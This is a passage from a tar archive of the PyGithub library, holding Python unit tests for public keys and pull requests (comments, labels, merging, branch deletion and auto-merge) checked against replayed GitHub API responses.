TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2021 Chris Keating # # Copyright 2021 MeggyCal # # Copyright 2021 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from . import Framework class PublicKey(Framework.TestCase): def testAttributes(self): self.public_key = self.g.get_user().get_repo("PyGithub").get_public_key() self.assertIsNone(self.public_key.created_at) self.assertIsNone(self.public_key.id) self.assertEqual(self.public_key.key, "u5e1Z25+z8pmgVVt5Pd8k0z/sKpVL1MXYtRAecE4vm8=") self.assertEqual(self.public_key.key_id, "568250167242549743") self.assertEqual( repr(self.public_key), 'PublicKey(key_id="568250167242549743", key="u5e1Z25+z8pmgVVt5Pd8k0z/sKpVL1MXYtRAecE4vm8=")', ) self.assertIsNone(self.public_key.title) self.assertIsNone(self.public_key.url) def testAttributes_with_int_key_id(self): self.public_key = self.g.get_user().get_repo("PyGithub").get_public_key() self.assertEqual(self.public_key.key, "u5e1Z25+z8pmgVVt5Pd8k0z/sKpVL1MXYtRAecE4vm8=") self.assertEqual(self.public_key.key_id, 568250167242549743) self.assertEqual( repr(self.public_key), 'PublicKey(key_id=568250167242549743, key="u5e1Z25+z8pmgVVt5Pd8k0z/sKpVL1MXYtRAecE4vm8=")', ) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/PullRequest.py0000644000175100001660000007356614756101563017010 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 @tmshn # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2018 MarcoFalke # # Copyright 2018 Steve Kowalik # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # # Copyright 2019 MarcoFalke # # Copyright 2019 Mark Browning # # Copyright 2019 Pavan Kunisetty # # Copyright 2019 Steve Kowalik # # Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># # Copyright 2019 Tim Gates # # Copyright 2019 Wan Liuyang # # Copyright 2020 Florent Clarret # # Copyright 2020 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Heitor Polidoro <14806300+heitorpolidoro@users.noreply.github.com># # Copyright 2023 Heitor Polidoro # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2023 vanya20074 # # Copyright 2024 Austin Sasko # # Copyright 2024 Den Stroebel # # Copyright 2024 Enrico Minack # # Copyright 2025 Bruno Didot # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from datetime import datetime, timezone import pytest import github from . import Framework class PullRequest(Framework.TestCase): def setUp(self): super().setUp() self.repo = self.g.get_repo("PyGithub/PyGithub") self.pull = self.repo.get_pull(31) marco_repo = self.g.get_repo("MarcoFalke/PyGithub", lazy=True) self.pullIssue256Closed = marco_repo.get_pull(1) self.pullIssue256Merged = marco_repo.get_pull(2) self.pullIssue256Conflict = marco_repo.get_pull(3) self.pullIssue256Uncached = marco_repo.get_pull(4) flo_repo = self.g.get_repo("FlorentClarret/PyGithub") self.pullMaintainerCanModify = flo_repo.get_pull(2) self.delete_restore_repo = self.g.get_repo("austinsasko/PyGithub") self.delete_restore_pull = self.delete_restore_repo.get_pull(21) def testAttributesIssue256(self): self.assertEqual( self.pullIssue256Closed.closed_at, datetime(2018, 5, 22, 14, 50, 43, tzinfo=timezone.utc), ) self.assertEqual( self.pullIssue256Merged.closed_at, datetime(2018, 5, 22, 14, 53, 13, tzinfo=timezone.utc), ) self.assertEqual(self.pullIssue256Conflict.closed_at, None) self.assertEqual(self.pullIssue256Uncached.closed_at, None) self.assertEqual(self.pullIssue256Closed.state, "closed") self.assertEqual(self.pullIssue256Merged.state, "closed") self.assertEqual(self.pullIssue256Conflict.state, "open") self.assertEqual(self.pullIssue256Uncached.state, "open") self.assertFalse(self.pullIssue256Closed.merged) self.assertTrue(self.pullIssue256Merged.merged) self.assertFalse(self.pullIssue256Conflict.merged) self.assertFalse(self.pullIssue256Uncached.merged) self.assertEqual(self.pullIssue256Closed.mergeable, None) self.assertEqual(self.pullIssue256Merged.mergeable, None) self.assertTrue(self.pullIssue256Conflict.mergeable) self.assertEqual(self.pullIssue256Uncached.mergeable, None) self.assertEqual(self.pullIssue256Closed.mergeable_state, "unknown") self.assertEqual(self.pullIssue256Merged.mergeable_state, "unknown") self.assertEqual(self.pullIssue256Conflict.mergeable_state, "clean") self.assertEqual(self.pullIssue256Uncached.mergeable_state, "unknown") def testAttributes(self): self.assertEqual( self.pull._links, { "self": {"href": "https://api.github.com/repos/PyGithub/PyGithub/pulls/31"}, "html": {"href": "https://github.com/PyGithub/PyGithub/pull/31"}, "issue": {"href": "https://api.github.com/repos/PyGithub/PyGithub/issues/31"}, "comments": {"href": "https://api.github.com/repos/PyGithub/PyGithub/issues/31/comments"}, "review_comments": {"href": "https://api.github.com/repos/PyGithub/PyGithub/pulls/31/comments"}, "review_comment": {"href": "https://api.github.com/repos/PyGithub/PyGithub/pulls/comments{/number}"}, "commits": {"href": "https://api.github.com/repos/PyGithub/PyGithub/pulls/31/commits"}, "statuses": { "href": "https://api.github.com/repos/PyGithub/PyGithub/statuses/8a4f306d4b223682dd19410d4a9150636ebe4206" }, }, ) self.assertIsNone(self.pull.active_lock_reason) self.assertEqual(self.pull.additions, 511) self.assertEqual(self.pull.assignee.login, "jacquev6") self.assertListKeyEqual(self.pull.assignees, lambda a: a.login, ["jacquev6"]) self.assertEqual(self.pull.author_association, "MEMBER") self.assertIsNone(self.pull.auto_merge) self.assertEqual(self.pull.base.label, "PyGithub:topic/RewriteWithGeneratedCode") self.assertEqual(self.pull.base.sha, "ed866fc43833802ab553e5ff8581c81bb00dd433") self.assertEqual(self.pull.base.user.login, "PyGithub") self.assertEqual(self.pull.base.ref, "topic/RewriteWithGeneratedCode") self.assertEqual(self.pull.base.repo.full_name, "PyGithub/PyGithub") self.assertEqual(self.pull.body, "Body edited by PyGithub\n") self.assertEqual(self.pull.changed_files, 45) self.assertEqual( self.pull.closed_at, datetime(2012, 5, 27, 10, 29, 7, tzinfo=timezone.utc), ) self.assertEqual(self.pull.comments, 1) self.assertEqual(self.pull.comments_url, "https://api.github.com/repos/PyGithub/PyGithub/issues/31/comments") self.assertEqual(self.pull.commits, 3) self.assertEqual(self.pull.commits_url, "https://api.github.com/repos/PyGithub/PyGithub/pulls/31/commits") self.assertEqual( self.pull.created_at, datetime(2012, 5, 27, 9, 25, 36, tzinfo=timezone.utc), ) self.assertEqual(self.pull.deletions, 384) self.assertEqual(self.pull.diff_url, "https://github.com/PyGithub/PyGithub/pull/31.diff") self.assertEqual(self.pull.draft, False) self.assertEqual(self.pull.head.ref, "master") self.assertEqual(self.pull.html_url, "https://github.com/PyGithub/PyGithub/pull/31") self.assertEqual(self.pull.id, 1436215) self.assertEqual( self.pull.issue_url, "https://api.github.com/repos/PyGithub/PyGithub/issues/31", ) self.assertListKeyEqual(self.pull.labels, lambda a: a.name, []) self.assertEqual(self.pull.locked, False) self.assertEqual(self.pull.maintainer_can_modify, False) self.assertEqual(self.pull.merge_commit_sha, "28ae6dd10ebccd5eaf8db8dacb5b699ee7f4a663") self.assertFalse(self.pull.mergeable) self.assertEqual(self.pull.mergeable_state, "dirty") self.assertEqual(self.pull.merged, True) self.assertEqual(self.pull.merged_at, datetime(2012, 5, 27, 10, 29, 7, tzinfo=timezone.utc)) self.assertEqual(self.pull.merged_by.login, "jacquev6") self.assertEqual(self.pull.milestone.number, 1) self.assertEqual(self.pull.node_id, "MDExOlB1bGxSZXF1ZXN0MTQzNjIxNQ==") self.assertEqual(self.pull.number, 31) self.assertEqual(self.pull.patch_url, "https://github.com/PyGithub/PyGithub/pull/31.patch") self.assertFalse(self.pull.rebaseable) self.assertTrue(self.pull.merged) self.assertEqual( self.pull.merged_at, datetime(2012, 5, 27, 10, 29, 7, tzinfo=timezone.utc), ) self.assertEqual(self.pull.merged_by.login, "jacquev6") self.assertEqual(self.pull.number, 31) self.assertEqual(self.pull.patch_url, "https://github.com/PyGithub/PyGithub/pull/31.patch") self.assertEqual(self.pull.requested_reviewers[0].login, "sfdye") self.assertEqual(self.pull.requested_teams[0].id, 123) self.assertEqual( self.pull.review_comment_url, "https://api.github.com/repos/PyGithub/PyGithub/pulls/comments{/number}" ) self.assertEqual(self.pull.review_comments, 2) self.assertEqual( self.pull.review_comments_url, "https://api.github.com/repos/PyGithub/PyGithub/pulls/31/comments" ) self.assertEqual(self.pull.state, "closed") self.assertEqual( self.pull.statuses_url, "https://api.github.com/repos/PyGithub/PyGithub/statuses/8a4f306d4b223682dd19410d4a9150636ebe4206", ) self.assertEqual(self.pull.title, "Title edited by PyGithub") self.assertEqual( self.pull.updated_at, datetime(2018, 6, 25, 12, 54, 43, tzinfo=timezone.utc), ) self.assertEqual(self.pull.url, "https://api.github.com/repos/PyGithub/PyGithub/pulls/31") self.assertEqual(self.pull.user.login, "jacquev6") self.assertEqual(self.pull.draft, False) self.assertEqual(self.pull.maintainer_can_modify, False) self.assertEqual( repr(self.pull), 'PullRequest(title="Title edited by PyGithub", number=31)', ) self.assertEqual( repr(self.pull.base), 'PullRequestPart(sha="ed866fc43833802ab553e5ff8581c81bb00dd433")', ) self.assertTrue(self.pullIssue256Conflict.rebaseable) def testCreateComment(self): commit = self.repo.get_commit("8a4f306d4b223682dd19410d4a9150636ebe4206") comment = self.pull.create_comment("Comment created by PyGithub", commit, "src/github/Issue.py", 5) self.assertEqual(comment.id, 886298) def testCreateReviewCommentInReplyTo(self): commit = self.repo.get_commit("8a4f306d4b223682dd19410d4a9150636ebe4206") comment = self.pull.create_review_comment( "Comment created by PyGithub", commit, "src/github/Issue.py", 5, in_reply_to=42, ) self.assertEqual(comment.id, 886298) def testCreateReviewCommentSubjectType(self): commit = self.repo.get_commit("8a4f306d4b223682dd19410d4a9150636ebe4206") comment = self.pull.create_review_comment( "Comment created by PyGithub", commit, "src/github/Issue.py", 5, subject_type="file", ) self.assertEqual(comment.id, 886298) def testCreateMultilineReviewComment(self): commit = self.repo.get_commit("8a4f306d4b223682dd19410d4a9150636ebe4206") comment = self.pull.create_review_comment( "Comment created by PyGithub", commit, "src/github/Issue.py", 10, start_line=5, ) self.assertEqual(comment.id, 886298) def testCreateMultilineReviewCommentAsSuggestion(self): commit = self.repo.get_commit("8a4f306d4b223682dd19410d4a9150636ebe4206") comment = self.pull.create_review_comment( "Comment created by PyGithub", commit, "src/github/Issue.py", 10, start_line=5, as_suggestion=True, ) self.assertEqual(comment.id, 886298) self.assertEqual(comment.body, "```suggestion\nComment created by PyGithub\n```") def testCreateMultilineReviewCommentChoosingSide(self): commit = self.repo.get_commit("8a4f306d4b223682dd19410d4a9150636ebe4206") comment = self.pull.create_review_comment( "Comment created by PyGithub", commit, "src/github/Issue.py", 10, start_line=5, side="RIGHT", start_side="RIGHT", ) self.assertEqual(comment.id, 886298) def testGetComments(self): epoch = datetime(1970, 1, 1, 0, 0) comments = self.pull.get_comments(sort="updated", direction="desc", since=epoch) self.assertListKeyEqual(comments, lambda c: c.id, [197784357, 1580134]) def testCreateIssueComment(self): comment = self.pull.create_issue_comment("Issue comment created by PyGithub") self.assertEqual(comment.id, 8387331) def testGetIssueComments(self): self.assertListKeyEqual(self.pull.get_issue_comments(), lambda c: c.id, [8387331]) def testGetIssueComment(self): comment = self.pull.get_issue_comment(8387331) self.assertEqual(comment.body, "Issue comment created by PyGithub") def testGetIssueEvents(self): self.assertListKeyEqual( self.pull.get_issue_events(), lambda e: e.id, [16349963, 16350729, 16350730, 16350731, 28469043, 98136335], ) def testGetReviewComments(self): epoch = datetime(1970, 1, 1, 0, 0) comments = self.pull.get_review_comments(sort="updated", direction="desc", since=epoch) self.assertListKeyEqual(comments, lambda c: c.id, [197784357, 1580134]) self.assertListKeyEqual(comments, lambda c: c.pull_request_review_id, [131593233, None]) def testReviewRequests(self): self.pull.create_review_request(reviewers="sfdye", team_reviewers="pygithub-owners") review_requests = self.pull.get_review_requests() self.assertListKeyEqual(review_requests[0], lambda c: c.login, ["sfdye"]) self.assertListKeyEqual(review_requests[1], lambda c: c.slug, ["pygithub-owners"]) self.pull.delete_review_request(reviewers="sfdye") review_requests = self.pull.get_review_requests() self.assertEqual(list(review_requests[0]), []) self.assertListKeyEqual(review_requests[1], lambda c: c.slug, ["pygithub-owners"]) def testEditWithoutArguments(self): self.pull.edit() def testEditWithAllArguments(self): self.pullMaintainerCanModify.edit( "Title edited by PyGithub", "Body edited by PyGithub", "open", "master", True, ) self.assertEqual(self.pullMaintainerCanModify.title, "Title edited by PyGithub") self.assertEqual(self.pullMaintainerCanModify.body, "Body edited by PyGithub") self.assertEqual(self.pullMaintainerCanModify.state, "open") self.assertEqual(self.pullMaintainerCanModify.base.ref, "master") self.assertTrue(self.pullMaintainerCanModify.maintainer_can_modify) def testGetCommits(self): self.assertListKeyEqual( self.pull.get_commits(), lambda c: c.sha, [ "4aadfff21cdd2d2566b0e4bd7309c233b5f4ae23", "93dcae5cf207de376c91d0599226e7c7563e1d16", "8a4f306d4b223682dd19410d4a9150636ebe4206", ], ) def testGetFiles(self): self.assertListKeyEqual( self.pull.get_files(), lambda f: f.filename, [ "codegen/templates/GithubObject.py", "src/github/AuthenticatedUser.py", "src/github/Authorization.py", "src/github/Branch.py", "src/github/Commit.py", "src/github/CommitComment.py", "src/github/CommitFile.py", "src/github/CommitStats.py", "src/github/Download.py", "src/github/Event.py", "src/github/Gist.py", "src/github/GistComment.py", "src/github/GistHistoryState.py", "src/github/GitAuthor.py", "src/github/GitBlob.py", "src/github/GitCommit.py", "src/github/GitObject.py", "src/github/GitRef.py", "src/github/GitTag.py", "src/github/GitTree.py", "src/github/GitTreeElement.py", "src/github/Hook.py", "src/github/Issue.py", "src/github/IssueComment.py", "src/github/IssueEvent.py", "src/github/Label.py", "src/github/Milestone.py", "src/github/NamedUser.py", "src/github/Organization.py", "src/github/Permissions.py", "src/github/Plan.py", "src/github/PullRequest.py", "src/github/PullRequestComment.py", "src/github/PullRequestFile.py", "src/github/Repository.py", "src/github/RepositoryKey.py", "src/github/Tag.py", "src/github/Team.py", "src/github/UserKey.py", "test/Issue.py", "test/IssueEvent.py", "test/ReplayData/Issue.testAddAndRemoveLabels.txt", "test/ReplayData/Issue.testDeleteAndSetLabels.txt", "test/ReplayData/Issue.testGetLabels.txt", "test/ReplayData/IssueEvent.setUp.txt", ], ) def testGetLabels(self): self.assertListKeyEqual(self.pull.get_labels(), lambda lb: lb.name, ["wip", "refactoring"]) def testAddAndRemoveLabels(self): wip = self.repo.get_label("wip") refactoring = self.repo.get_label("refactoring") self.assertListKeyEqual( self.pull.get_labels(), lambda lb: lb.name, ["wip", "refactoring", "improvement"], ) self.pull.remove_from_labels(wip) self.assertListKeyEqual(self.pull.get_labels(), lambda lb: lb.name, ["refactoring", "improvement"]) self.pull.remove_from_labels(refactoring) self.assertListKeyEqual(self.pull.get_labels(), lambda lb: lb.name, ["improvement"]) self.pull.add_to_labels(wip, refactoring) self.assertListKeyEqual( self.pull.get_labels(), lambda lb: lb.name, ["wip", "refactoring", "improvement"], ) def testAddAndRemoveLabelsWithStringArguments(self): wip = "wip" refactoring = "refactoring" self.assertListKeyEqual( self.pull.get_labels(), lambda lb: lb.name, ["wip", "refactoring", "improvement"], ) self.pull.remove_from_labels(wip) self.assertListKeyEqual(self.pull.get_labels(), lambda lb: lb.name, ["refactoring", "improvement"]) self.pull.remove_from_labels(refactoring) self.assertListKeyEqual(self.pull.get_labels(), lambda lb: lb.name, ["improvement"]) self.pull.add_to_labels(wip, refactoring) self.assertListKeyEqual( self.pull.get_labels(), lambda lb: lb.name, ["wip", "refactoring", "improvement"], ) def testDeleteAndSetLabels(self): wip = self.repo.get_label("wip") refactoring = self.repo.get_label("refactoring") self.assertListKeyEqual( self.pull.get_labels(), lambda lb: lb.name, ["wip", "refactoring", "improvement"], ) self.pull.delete_labels() self.assertListKeyEqual(self.pull.get_labels(), None, []) self.pull.set_labels(wip, refactoring) self.assertListKeyEqual(self.pull.get_labels(), lambda lb: lb.name, ["wip", "refactoring"]) def testDeleteAndSetLabelsWithStringArguments(self): wip = "wip" refactoring = "refactoring" self.assertListKeyEqual( self.pull.get_labels(), lambda lb: lb.name, ["wip", "refactoring", "improvement"], ) self.pull.delete_labels() self.assertListKeyEqual(self.pull.get_labels(), None, []) self.pull.set_labels(wip, refactoring) self.assertListKeyEqual(self.pull.get_labels(), lambda lb: lb.name, ["wip", "refactoring"]) def testMerge(self): self.assertFalse(self.pull.is_merged()) status = self.pull.merge() self.assertEqual(status.sha, "688208b1a5a074871d0e9376119556897439697d") self.assertTrue(status.merged) self.assertEqual(status.message, "Pull Request successfully merged") self.assertTrue(self.pull.is_merged()) self.assertEqual( repr(status), 'PullRequestMergeStatus(sha="688208b1a5a074871d0e9376119556897439697d", merged=True)', ) def testMergeWithCommitMessage(self): self.repo.get_pull(39).merge("Custom commit message created by PyGithub") def testAddAndRemoveAssignees(self): user1 = "jayfk" user2 = self.g.get_user("jzelinskie") self.assertListKeyEqual(self.pull.assignees, lambda a: a.login, ["jacquev6"]) url = self.pull.url self.pull.add_to_assignees(user1, user2) self.assertListKeyEqual( self.pull.assignees, lambda a: a.login, ["jacquev6", "stuglaser", "jayfk", "jzelinskie"], ) self.assertEqual(self.pull.url, url) self.pull.remove_from_assignees(user1, user2) self.assertListKeyEqual(self.pull.assignees, lambda a: a.login, ["jacquev6", "stuglaser"]) self.assertEqual(self.pull.url, url) def testUpdateBranch(self): self.assertTrue(self.pull.update_branch("addaebea821105cf6600441f05ff2b413ab21a36")) self.assertTrue(self.pull.update_branch()) def testConvertToDraft(self): ready_pr = self.g.get_repo("didot/PyGithub", lazy=True).get_pull(1) self.assertFalse(ready_pr.draft) response = ready_pr.convert_to_draft() self.assertTrue(ready_pr.draft) assert response == { "clientMutationId": None, "pullRequest": { "isDraft": True, }, } def testMarkReadyForReview(self): draft_pr = self.g.get_repo("didot/PyGithub", lazy=True).get_pull(2) self.assertTrue(draft_pr.draft) response = draft_pr.mark_ready_for_review() self.assertFalse(draft_pr.draft) assert response == { "clientMutationId": None, "pullRequest": { "isDraft": False, }, } def testDeleteOnMerge(self): self.assertTrue(self.delete_restore_repo.get_branch(self.delete_restore_pull.head.ref)) self.assertFalse(self.delete_restore_pull.is_merged()) status = self.delete_restore_pull.merge(delete_branch=True) self.assertTrue(status.merged) self.assertTrue(self.delete_restore_pull.is_merged()) with self.assertRaises(github.GithubException) as raisedexp: self.delete_restore_repo.get_branch(self.delete_restore_pull.head.ref) self.assertEqual(raisedexp.exception.message, "Branch not found") self.assertEqual( raisedexp.exception.data, { "documentation_url": "https://docs.github.com/rest/reference/repos#get-a-branch", "message": "Branch not found", }, ) def testRestoreBranch(self): with self.assertRaises(github.GithubException) as raisedexp: self.delete_restore_repo.get_branch(self.delete_restore_pull.head.ref) self.assertEqual(raisedexp.exception.message, "Branch not found") self.assertEqual(raisedexp.exception.status, 404) self.assertEqual( raisedexp.exception.data, { "documentation_url": "https://docs.github.com/rest/reference/repos#get-a-branch", "message": "Branch not found", }, ) self.assertTrue(self.delete_restore_pull.restore_branch()) self.assertTrue(self.delete_restore_repo.get_branch(self.delete_restore_pull.head.ref)) def testDeleteBranch(self): self.assertTrue(self.delete_restore_repo.get_branch(self.delete_restore_pull.head.ref)) self.delete_restore_pull.delete_branch(force=False) with self.assertRaises(github.GithubException) as raisedexp: self.delete_restore_repo.get_branch(self.delete_restore_pull.head.ref) self.assertEqual(raisedexp.exception.message, "Branch not found") self.assertEqual(raisedexp.exception.status, 404) self.assertEqual( raisedexp.exception.data, { "documentation_url": "https://docs.github.com/rest/reference/repos#get-a-branch", "message": "Branch not found", }, ) def testForceDeleteBranch(self): self.assertTrue(self.delete_restore_repo.get_branch(self.delete_restore_pull.head.ref)) self.assertEqual(self.delete_restore_pull.delete_branch(force=True), None) with self.assertRaises(github.GithubException) as raisedexp: self.delete_restore_repo.get_branch(self.delete_restore_pull.head.ref) self.assertEqual(raisedexp.exception.message, "Branch not found") self.assertEqual(raisedexp.exception.status, 404) self.assertEqual( raisedexp.exception.data, { "documentation_url": "https://docs.github.com/rest/reference/repos#get-a-branch", "message": "Branch not found", }, ) def testEnableAutomerge(self): # To reproduce this, the PR repository need to have the "Allow auto-merge" option enabled response = self.pull.enable_automerge( merge_method="SQUASH", author_email="foo@example.com", client_mutation_id="1234", commit_body="body of the commit", commit_headline="The commit headline", expected_head_oid="0283d46537193f1fed7d46859f15c5304b9836f9", ) assert response == { "actor": { "avatarUrl": "https://avatars.githubusercontent.com/u/14806300?u=786f9f8ef8782d45381b01580f7f7783cf9c7e37&v=4", "login": "heitorpolidoro", "resourcePath": "/heitorpolidoro", "url": "https://github.com/heitorpolidoro", }, "clientMutationId": None, } def testEnableAutomergeDefaultValues(self): # To reproduce this, the PR repository need to have the "Allow auto-merge" option enabled # The default values are: # - merge_method = "MERGE" self.pull.enable_automerge() def testEnableAutomergeNotValidMergeMethod(self): with pytest.raises(AssertionError): self.pull.enable_automerge(merge_method="INVALID") def testEnableAutomergeError(self): # To reproduce this, the PR repository need to have the "Allow auto-merge" option disabled with pytest.raises(github.GithubException) as error: self.pull.enable_automerge() assert error.value.message is None assert error.value.status == 400 assert error.value.data == { "data": {"enablePullRequestAutoMerge": None}, "errors": [ { "locations": [{"column": 81, "line": 1}], "message": "Pull request Auto merge is not allowed for this repository", "path": ["enablePullRequestAutoMerge"], "type": "UNPROCESSABLE", } ], } def testDisableAutomerge(self): response = self.pull.disable_automerge() assert response == { "actor": { "avatarUrl": "https://avatars.githubusercontent.com/u/14806300?u=786f9f8ef8782d45381b01580f7f7783cf9c7e37&v=4", "login": "heitorpolidoro", "resourcePath": "/heitorpolidoro", "url": "https://github.com/heitorpolidoro", }, "clientMutationId": None, } ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/PullRequest1168.py0000644000175100001660000000673414756101563017321 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Matthew Neal # # Copyright 2016 Peter Buckley # # Copyright 2016 Sam Corbett # # Copyright 2018 sfdye # # Copyright 2019 Olof-Joachim Frahm (欧雅福) # # Copyright 2019 Steve Kowalik # # Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from . import Framework class PullRequest1168(Framework.TestCase): def setUp(self): super().setUp() self.notifications = self.g.get_repo("PyGithub/PyGithub").get_notifications(all=True) def testGetPullRequest(self): p = self.notifications[0].get_pull_request() self.assertEqual(p.id, 297582636) self.assertEqual(p.number, 1171) self.assertEqual(p.title, "Fix small issues for Python 3 compatibility.") def testGetIssue(self): i = self.notifications[0].get_issue() self.assertEqual(i.id, 297582636) self.assertEqual(i.number, 1171) self.assertEqual(i.title, "Fix small issues for Python 3 compatibility.") ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/PullRequest1169.py0000644000175100001660000000630614756101563017315 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Matthew Neal # # Copyright 2016 Peter Buckley # # Copyright 2016 Sam Corbett # # Copyright 2018 sfdye # # Copyright 2019 Adam Baratz # # Copyright 2019 Olof-Joachim Frahm (欧雅福) # # Copyright 2019 Steve Kowalik # # Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2023 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from . import Framework class PullRequest1169(Framework.TestCase): def setUp(self): super().setUp() ferada_repo = self.g.get_repo("coleslaw-org/coleslaw", lazy=True) self.pull = ferada_repo.get_pull(173) def testReviewApproveWithoutBody(self): r = self.pull.create_review(event="APPROVE") self.assertEqual(r.id, 261942907) self.assertEqual(r.user.login, "Ferada") ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/PullRequest1375.py0000644000175100001660000000735014756101563017314 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Matthew Neal # # Copyright 2016 Peter Buckley # # Copyright 2016 Sam Corbett # # Copyright 2018 sfdye # # Copyright 2019 Olof-Joachim Frahm (欧雅福) # # Copyright 2019 Steve Kowalik # # Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from . import Framework class PullRequest1375(Framework.TestCase): def setUp(self): super().setUp() self.pr = self.g.get_repo("rsn491/PyGithub").get_pulls()[0] def testCreateReviewCommentReply(self): comment_id = 373866377 # id of pull request comment without replies first_reply_body = "Comment reply created by PyGithub" second_reply_body = "Second comment reply created by PyGithub" first_reply = self.pr.create_review_comment_reply(comment_id, first_reply_body) second_reply = self.pr.create_review_comment_reply(first_reply.id, second_reply_body) # ensure both first and second reply have `in_reply_to_id` attr set to top comment self.assertEqual(first_reply.in_reply_to_id, comment_id) self.assertEqual(second_reply.in_reply_to_id, comment_id) self.assertEqual(first_reply.body, first_reply_body) self.assertEqual(second_reply.body, second_reply_body) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/PullRequest1682.py0000644000175100001660000001002214756101563017303 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Matthew Neal # # Copyright 2016 Peter Buckley # # Copyright 2016 Sam Corbett # # Copyright 2018 sfdye # # Copyright 2019 Olof-Joachim Frahm (欧雅福) # # Copyright 2019 Steve Kowalik # # Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2020 Victor Zeng # # Copyright 2023 Enrico Minack # # Copyright 2023 Trim21 # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it 